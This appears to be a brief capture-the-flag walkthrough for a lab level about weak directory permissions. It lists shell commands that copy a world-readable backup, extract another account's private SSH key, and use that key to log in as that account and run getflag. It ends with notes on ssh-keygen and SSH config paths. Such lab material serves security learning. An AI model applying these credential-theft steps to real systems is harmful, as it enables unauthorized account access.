Check the flag05 home directory. You are looking for weak directory permissions To do this level, log in as the level05 account with the password level05. Files for this level can be found in /home/flag05.
There is no source code available for this level
ls -all /home/flag05/
ls -all /home/flag05/.backup/
cp /home/flag05/.backup/backup-19072011.tgz /tmp/
cd /tmp
tar xvf /tmp/backup-19072011.tgz
ssh -i /tmp/.ssh/id_rsa [email protected]
/bin/getflag
ssh-keygen ---- ssh-keygen -b 2048 -t rsa -C "this is my ssh key" -f ssh_key_file ---- /etc/ssh/moduli ---- /etc/ssh/ssh_config ---- /etc/ssh/sshd_config ---- /etc/ssh/ssh_host_ecdsa_key.pub ---- /etc/ssh/ssh_import_id